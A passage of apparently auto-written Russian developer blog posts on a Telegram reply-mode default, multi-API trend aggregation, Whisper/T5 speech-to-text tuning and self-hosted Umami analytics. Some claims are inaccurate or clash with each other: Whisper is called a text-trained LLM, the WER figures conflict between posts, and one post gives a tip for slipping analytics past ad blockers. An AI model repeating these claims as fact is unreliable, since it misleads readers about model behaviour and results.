файл получает свой корректный тип, даже если система не смогла его определить с первого раза. Это хороший пример того, как *контракты между компонентами* (в данном случае — обещание "три массива одинаковой длины") могут молча ломаться, если их не охранять. Один неловкий `filter()` — и вся архитектура начинает пошатываться. --- **Факт о технологиях:** Slack API исторически одна из самых сложных в обработке медиа среди мессенджеров именно потому, что поддерживает множество форматов вложений одновременно. Это требует особой внимательности при синхронизации данных. --- 😄 *Почему Sentry не пришёл на вечеринку? Его заблокировал firewall.*
Когда "умное" поведение мешает пользователю
В проекте **openclaw** произошла интересная история. После обновления **2026.2.13** разработчики выпустили фичу с *неявной реплай-сортировкой* сообщений в Telegram. Идея была правильная: автоматически группировать ответы в цепочки, как это делают все современные мессенджеры. Вот только выяснилось: когда эта фича встретилась с дефолтной настройкой `replyToMode="first"`, произошла чудесная трансформация. Теперь **каждый** первый ответ бота в личных сообщениях отправляется как нативная Telegram-реплай с кавычкой исходного сообщения. Пользователь пишет: "Привет" — а бот ему отвечает огромным пузырём с цитатой. И "Привет" становится цельным произведением искусства. Смешно было бы, если бы не регрессия. До этого обновления реплай-сортировка работала менее надёжно, поэтому дефолт "first" редко порождал видимые кавычки в личных чатах. Теперь же — надёжность возросла, и дефолт превратился в тихий врага UX. Представьте: простой диалог, а то и шутка про отправку кода выглядит как формальный деловой документ с копией исходного письма. Команда поняла проблему и сделала логичный шаг: переключить дефолт с `"first"` на `"off"`. Просто. Эффективно. Вот и всё. **Важный момент**: те, кому *нужна* реплай-сортировка, могут включить её вручную через конфиг: ``` channels.telegram.replyToMode: "first" | "all" ``` Никто не лишён выбора — просто дефолт теперь не раздражает большинство. Тестирование было жёсткое: переключали режим на живой инстанции 2026.2.13, смотрели прямое влияние на поведение. С `"first"` — каждое сообщение цитируется. С `"off"` — чистые ответы. Ясно как день. Интересно, что **тесты** вообще не понадобилось менять. Почему? Потому что они всегда явно устанавливали нужное значение `replyToMode`, не полагаясь на магию дефолтов. Вот это дизайн. История преподаёт урок: иногда "умное поведение по умолчанию" — это просто источник боли. Лучше выбрать консервативный дефолт и дать пользователям инструменты для кастомизации. Чем отличается машинный код от бессмыслицы? Машинный код работает. 😄
Восемь API за день: как я собрал тренд-систему в production
# Восемь источников данных, один день работы и вот уже система тянет информацию со всего интернета Проект **trend-analisis** набирал обороты, но его слабое место было очевидным: система собирала сигналы о трендах, но питалась только крохами. Для полноценного анализа нужны были новые источники — не просто *много*, а *разнообразные*. Нужно было подтянуть социальные сети, новостные порталы, профильные техсообщества, поисковые тренды. За один день. В production-quality коде. Без паники. ## Зачем нам восемь источников сразу? Задача была типичной для аналитического сервиса: один источник данных — это шум, два-три — начало картины, а восемь разнородных источников — это уже сигнал. Reddit подскажет, что волнует сообщество. NewsAPI покажет, о чём пишут журналисты. Stack Overflow раскроет технические интересы. Google Trends — чистая позиция того, что гуглят люди. Каждый источник — отдельный голос, и все вместе они рисуют трендовый пейзаж. Но подключить восемь API разом — это не просто скопировать curl. Это интеграционный конвейер: конфиги с rate limits, асинхронные адаптеры с обработкой ошибок, health checks, нормализация сигналов и композитный скоринг. ## Как я это делал Первым делом определился со структурой: для каждого источника создал отдельную конфиг-модель с правильными таймаутами и лимитами запросов. Reddit ждёт полусекунды между запросами, YouTube требует аутентификации, NewsAPI предоставляет 100 запросов в день — каждый со своими правилами. Async-адаптеры писал через единый интерфейс, чтобы остальная система не парилась, откуда приходят данные. Интересный момент возник с нормализацией сигналов. Из Reddit берём апвоты и engagement ratio, из YouTube — view count и likes, из Product Hunt — голоса, из PubMed — цитирования. Как их между собой сравнивать? Социальная сеть может выдать миллион просмотров за день, а академический источник — тысячу цитаций за год. Решение было в BASELINES: каждая категория (SOCIAL, NEWS, TECH, SEARCH, ACADEMIC) имела базовые метрики, а затем веса равномерно распределялись внутри категории (сумма = 1.0). Глупо? Нет, это working solution, который можно итеративно улучшать с реальными данными. В `scoring.py` пришлось добавить обработку 18+ новых сигналов из метаданных: от количества комментариев до индекса популярности. Тесты написал параллельно с кодом — 22 unit теста плюс E2E проверка здоровья источников. ## Свежий факт о REST API, который не знали в 2010-м Когда создавали REST, никто не предусмотрел, что один API будет вызываться столько раз в секунду. Rate limiting появился потом, как забота сервиса о себе. Поэтому крупные API вроде Twitter и YouTube теперь добавляют в заголовки ответа оставшееся количество запросов (`X-RateLimit-Remaining`). Это не просто информация — это обратная связь для асинхронных очередей, которые должны умнее разподвигивать нагрузку. ## Что получилось 13 адаптеров зарегистрировалось успешно, health checks прошли 10 из 13 (три гейтированы на аутентификацию, но это ожидаемо). Reddit, NewsAPI, Stack Overflow, YouTube, Dev.to, Product Hunt, Google Trends и PubMed — теперь все они поют в хоре trend-analisis. Система может агрегировать упоминания, подсчитывать тренды, видеть, что вот прямо сейчас взлетает в техсообществе. Дальше предстоит: фидтуню веса, добавить источники второго уровня, может быть, Hacker News и Mastodon. Но фундамент готов. --- *GitHub Actions: решение проблемы, о существовании которой ты не знал, способом, который не понимаешь.* 😄
Whisper упирается в стену: что происходит, когда оптимизация бессильна
# Speech-to-Text под давлением: когда оптимизация упирается в физику Представь себе ситуацию: нужна система речевого распознавания, которая работает в режиме реального времени. Бюджет — менее одной секунды на обработку аудио. Звучит выполнимо? Pink Elephant, разработчик проекта **speech-to-text**, решил это проверить экспериментально. И вот что из этого вышло. ## Охота на чудо-оптимизацию Всё начиналось с вопроса: а может ли стандартная модель Whisper работать на этой задаче? Текущие метрики выглядели удручающе — 32,6% WER (Word Error Rate, коэффициент ошибок распознавания). Мечта, конечно, 80% улучшение, но кто ж мечтать не будет. Первый шаг — попробовать альтернативные модели Whisper. Может, маленькая модель справится быстрее? Tiny дала 56,2% WER — хуже, чем base. Small показала весьма интересный результат: 23,4% WER (28% улучшение!), но потребовала 1,23 секунды обработки. А бюджет-то 1 секунда. Грустно. Medium вообще 3,43 секунды — в три раза медленнее, чем надо. Потом пришли идеи поумнее: beam search, варьирование температуры, фильтрация результатов через T5 (большую языковую модель для коррекции текста). Но — неожиданно выяснилось — ничего из этого не помогало. Beam search с температурой давал ровно те же 32,6% WER. Разные пороги T5-фильтра (от 0,6 до 0,95) тоже. Зато когда убрали T5 совсем, ошибок стало 41%. T5 оказался спасением, но не панацеей. Потом попробовали гибридный подход: base-модель для реального времени + medium в фоне. Сложновато, но теоретически возможно. Последовательную обработку (сначала одно, потом другое) пришлось отмести — непрактично. ## Когда данные говорят правду А потом разработчик проанализировал, где именно Whisper base ошибается. Больше всего пропусков (deletions) — 12 ошибок, замены (substitutions) — 6. Проблема не в плохой стратегии обработки, а в самой модели. Вот такой неудобный факт. **Large Language Models** как Whisper создаются с применением трансформер-архитектуры, обучаясь на огромных объёмах текстовых данных через самоконтролируемое обучение. И вот в чём закавыка: даже сильные LLM-ы достигают потолка качества, если их заставить работать в несоответствующих условиях. В нашем случае — в режиме реального времени на CPU. ## Горькая истина Итоговый вывод был честный и немного безжалостный: base-модель — единственный вариант, который укладывается в бюджет менее одной секунды, но качество её зафиксировано в 32,6% WER. Small даёт 28% улучшение (23,4% WER), но требует на 230 миллисекунд больше. 80% сокращение ошибок на CPU? Невозможно. Никакая волшебная post-processing техника это не спасёт. Нужно или переходить на GPU, или согласиться с текущим качеством, или рассмотреть асинхронную фоновую обработку. Тысячи строк кода оптимизации упёрлись в стену физических ограничений. Иногда лучшая оптимизация — это честный разговор о целях проекта. 504: gateway timeout. Ожидание ответа от PM. 😄
Когда пороги T5 упираются в потолок качества
# Когда оптимизация упирается в стену: история о порогах T5 Работаю над **speech-to-text** проектом уже несколько спринтов. Задача простая на словах: снизить процент ошибок распознавания (WER) с 34% до 6–8%. Звучит как небольшое улучшение, но на практике — это огромный скачок качества. Когда система неправильно расслышит каждое третье слово, пользователи просто перестанут ей доверять. Инструмент в руках — модель Whisper base от OpenAI с надстройкой на базе T5 для исправления текста. T5 работает как корректор: смотрит на распознанный текст, сравнивает с образцами и понимает, где алгоритм наверняка ошибся. Вот только настройки T5 были довольно мягкие: пороги сходства текста 0.8 и 0.85. Может, нужно сделать строже? **Первым делом** я добавил методы `set_thresholds()` и `set_ultra_strict()` в класс `T5TextCorrector`. Идея была хороша: позволить менять чувствительность фильтра на лету. Включил "ультра-строгий" режим с порогами 0.9 и 0.95 — почти идеальное совпадение текстов. Потом запустил **comprehensive benchmark**. Проверил четыре подхода: - **Базовый + улучшенный T5 (0.8/0.85)**: 34.0% WER за 0.52 сек — это наша текущая реальность ✓ - **Ультра-строгий T5 (0.9/0.95)**: 34.9% WER, 0.53 сек — хуже примерно на один процент - **Beam search с пятью лучами + T5**: 42.9% WER за 0.71 сек — катастрофа, качество упало в три раза - **Только база без T5**: 35.8% WER — тоже не помогло Неожиданно выяснилось: система уже находится на плато оптимизации. Все стандартные техники — ужесточение фильтров, увеличение луча поиска (beam search), комбинирование моделей — просто не работают. Мы выжали максимум из текущей архитектуры. **Интересный факт**: T5 создана Google в 2019 году как "Text-to-Text Transfer Transformer" — универсальная модель, которая любую задачу обработки текста формулирует как трансформацию из одного текста в другой. Поэтому одна модель может переводить, суммировать, отвечать на вопросы. Но универсальность имеет цену — специализированные модели часто работают лучше в узкой задаче. Чтобы прыгнуть на целых 26 процентов вверх (с 34% до 8%), нужно кардинально менять стратегию. Переходить на более мощную Whisper medium? Но это превысит бюджет времени отклика. Обучать свою модель на отраслевых данных? Требует месяцев работы. В итоге команда приняла решение: оставляем текущую конфигурацию (Whisper base + T5 с порогами 0.8/0.85) как оптимальную. Это лучшее соотношение качества и скорости. Дальнейшие улучшения требуют совсем других подходов — может быть, архитектурных, а не параметрических. Урок усвоен: не всегда больше параметров и строже правила означают лучше результаты. Иногда система просто сказала тебе: "Достаточно, дальше иди другим путём". 😄 *Почему разработчик попал в плато оптимизации? Потому что все остальные возможности уже были на берегу — нужно было просто заметить, что корабль уже причален!*
Микротюнинг алгоритма: как сэкономить гигабайты памяти
# Когда микротюнинг алгоритма экономит гигабайты памяти Работаю над проектом speech-to-text, и вот типичная история: всё кажется работающим, но стоишь перед выбором — либо система пожирает память и отзывается медленно, либо производит мусор вместо текста. На этот раз пришлось разбираться с двумя главными вредителями: слишком агрессивной фильтрацией T5 и совершенно бесполезным адаптивным fallback'ом. Начну с того, что случилось. Тестировали систему на аудиокниге, и T5 (модель для коррекции текста) вела себя как чрезмерно ревностный редактор — просто удаляла слова направо и налево. Результат? Потеря 30% текста при попытке поднять качество. Это был провал: WER (Word Error Rate) показывал 28,4%, а сохранялось всего 70% исходного текста. Представьте, вы слушаете аудиокнигу, а система вам отдаёт её в сокращённом виде. Первым делом залез в `text_corrector_t5.py` и посмотрел на пороги схожести слов. Там стояли скромные значения: 0,6 для одиночных слов и 0,7 для фраз. Я поднял их до 0,80 и 0,85 соответственно. Звучит как небольшое изменение? На самом деле это означало: «T5, удаляй слово только если ты ОЧЕНЬ уверена, а не если просто подозреваешь». И вот что получилось — WER упал до 3,9%, а сохранение текста прыгнуло на 96,8%. Это был уже другой уровень. Но это был только первый фронт войны. Вторым врагом оказался **adaptive_model_fallback** — механизм, который должен был срабатывать, когда основная модель барахлит, и переключаться на резервную. Звучит логично, но на практике? Тестировали на синтетических деградированных аудио — отлично, WER 0,0%. На реальных данных (TTS аудиокниги в чистом виде) — хуже базовой линии: 34,6% вместо 31,9%. На шумных записях — 43,6%, никакого улучшения. Получилось, что адаптивный fallback был как дорогой зонтик, который вообще не спасает от дождя, но при этом весит килограмм и занимает место в рюкзаке. Я отключил его по умолчанию в `config.py`, выставив `adaptive_model_fallback: bool = False`. Код оставил — вдруг когда-нибудь появятся реальные микрофонные записи, где это сработает, но пока это просто груз. **Интересный факт**: задача выбора порога схожести в NLP похожа на тюнинг гитары — сдвигаешь колок на миллиметр, и звук либо поёт, либо звенит. Только вместо уха здесь работаешь с метриками и надеешься, что улучшение на тестовом наборе не рухнет на боевых данных. В итоге система стала на 86% точнее на аудиокнигах, освободилась от 460 МБ ненужной памяти и ускорилась на 0,3 секунды. Всё это из-за двух небольших изменений пороговых значений и одного отключённого флага. Результаты зафиксировал в `BENCHMARK_RESULTS.md` — полная таблица тестов, чтобы потом никто не начинал возвращать fallback обратно. Урок такой: иногда микротюнинг работает лучше, чем архитектурные перестройки. Иногда лучшее решение — просто выключить то, что не работает, вместо того чтобы его развивать. 😄 Что общего у T5 и подросткового возраста? Оба требуют очень точных параметров, иначе начинают удалять всё подряд.
Umami Analytics: как я сделал админ-панель data-driven
# Самостоятельная аналитика: как я превратил borisovai-admin в data-driven продукт Несколько месяцев назад передо мной встала типичная для любого владельца проекта проблема: я совершенно не видел, кто и как использует мою админ-панель **borisovai-admin**. Google Analytics казался избыточным (и страшным с точки зрения приватности), а простой счётчик посещений — примитивным. Нужно было что-то лёгкое, приватное и полностью под своим контролем. Выбор пал на **Umami Analytics** — открытую веб-аналитику, которая уважает приватность пользователей, не использует cookies и полностью GDPR-compliant. Главное же — её можно развернуть самостоятельно, прямо в своей инфраструктуре. ## Четыре этапа внедрения **Первый шаг — упростить развёртывание.** Стандартная Umami требует двух контейнеров (приложение + PostgreSQL), но для небольшого проекта это избыточно. Я нашёл fork **maxime-j/umami-sqlite**, который использует SQLite — файловую БД в одном контейнере. Экономия памяти была существенной: вместо ~300 MB получил ~100 MB. Затем написал скрипт **install-umami.sh** из семи шагов, который может быть запущен много раз без побочных эффектов (идемпотентный — именно это было важно для автоматизации). **Второй этап — автоматизировать через CI/CD.** Создал два job'а в пайплайне: один автоматически ставит Docker (если его нет), второй — развёртывает саму Umami. Добавил health check, чтобы пайплайн не переходил к следующему шагу, пока контейнер не будет готов. Инкрементальный деплой через **deploy-umami.sh** позволяет обновлять конфигурацию без перезагрузки приложения. **Третий этап — дать пользователям интерфейс.** Создал страницу **analytics.html**, где каждый новый сервис может получить код для интеграции отслеживания. Плюс добавил API endpoint `GET /api/analytics/status` для проверки, всё ли работает. Async-скрипт Umami весит всего ~2 KB и не блокирует рендеринг страницы — вот это я ценю. **Четвёртый этап — документировать.** Написал **AGENT_ANALYTICS.md** с инструкциями для будущих разработчиков, обновил главный **CLAUDE.md** таблицей всех сервисов. ## Что интересного я узнал Оказывается, боль большинства разработчиков с традиционной аналитикой — это не функциональность, а приватность. Umami решает это элегантно: скрипт отправляет только агрегированные данные (сессии, страницы, источники трафика) без ID пользователей и истории кликов. А главное — нет необходимости в **consent banner**, который все равно раздражает пользователей. Порт **3001** внутри контейнера пробросил через **Traefik** на HTTPS-домены `analytics.borisovai.ru` и `analytics.borisovai.tech`. Вообще, это я оценил: такая простота развёртывания чуть ли не впервые в моём опыте с self-hosted решениями. Встроенная авторизация в самой Umami (не потребовался дополнительный Authelia) — и это экономия на инфраструктуре. Один лайфхак: чтобы скрипт аналитики не блокировался AdBlock, назвал его `stats` вместо стандартного `umami` — простой способ обойти базовые фильтры. ## Итог Теперь **borisovai-admin** наконец-то видит себя со стороны. Я получил данные о том, какие страницы реально используют люди, откуда они приходят и сколько времени длятся сессии. Всё это — на своём сервере, без третьих лиц и без чувства вины перед пользователями. Следующий шаг — подключить аналитику ко всем остальным сервисам проекта. Это уже не задача месяца, а скорее вопрос пары часов на каждый сервис. Учимся: иногда лучший инструмент — это не самый популярный, а самый честный. 😄